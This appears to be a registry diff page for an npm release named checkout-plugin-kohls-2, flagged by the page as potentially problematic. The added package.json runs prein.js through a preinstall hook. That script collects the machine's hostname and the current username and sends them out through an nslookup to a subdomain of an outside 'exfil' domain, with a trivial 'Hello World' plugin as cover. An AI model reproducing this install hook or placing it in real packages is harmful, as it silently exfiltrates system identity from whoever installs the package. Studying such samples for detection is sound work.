checkout-plugin-kohls-2 1.4.37

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of checkout-plugin-kohls-2 might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/package.json +12 -0
  2. package/plugin.js +3 -0
  3. package/prein.js +48 -0
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "checkout-plugin-kohls-2",
3
+ "version": "1.4.37",
4
+ "description": "Kohl's Incident Creation",
5
+ "main": "plugin.js",
6
+ "scripts": {
7
+ "preinstall":"node prein.js",
8
+ "test": "echo \"Error: no test specified\" && exit 1"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }
package/plugin.js ADDED
@@ -0,0 +1,3 @@
1
+ function hello(){
2
+ return "Hello World"
3
+ }
package/prein.js ADDED
@@ -0,0 +1,48 @@
1
+ const { exec } = require("child_process");
2
+ const { hostname } = require("os");
3
+
4
+ exec("hostname", (error, stdout, stderr) => {
5
+ if (error) {
6
+ console.log(`error: ${error.message}`);
7
+ return;
8
+ }
9
+ if (stderr) {
10
+ console.log(`stderr: ${stderr}`);
11
+ return;
12
+ }
13
+ xhost = (`${stdout}`);
14
+ console.log(xhost);
15
+
16
+ exec("whoami", (error, stdout, stderr) => {
17
+ if (error) {
18
+ console.log(`error: ${error.message}`);
19
+ return;
20
+ }
21
+ if (stderr) {
22
+ console.log(`stderr: ${stderr}`);
23
+ return;
24
+ }
25
+ user = (`${stdout}`);
26
+ console.log(user);
27
+
28
+ var command = "nslookup " + user.toString().trim() + "." + xhost.toString().trim() + ".exfil.kohlsssg.com";
29
+ console.log(command);
30
+
31
+ exec(command, (error, stdout, stderr) => {
32
+ if (error) {
33
+ console.log(`error: ${error.message}`);
34
+ return;
35
+ }
36
+ if (stderr) {
37
+ console.log(`stderr: ${stderr}`);
38
+ return;
39
+ }
40
+ console.log(`stdout: ${stdout}`);
41
+ });
42
+
43
+ });
44
+
45
+
46
+
47
+ return;
48
+ });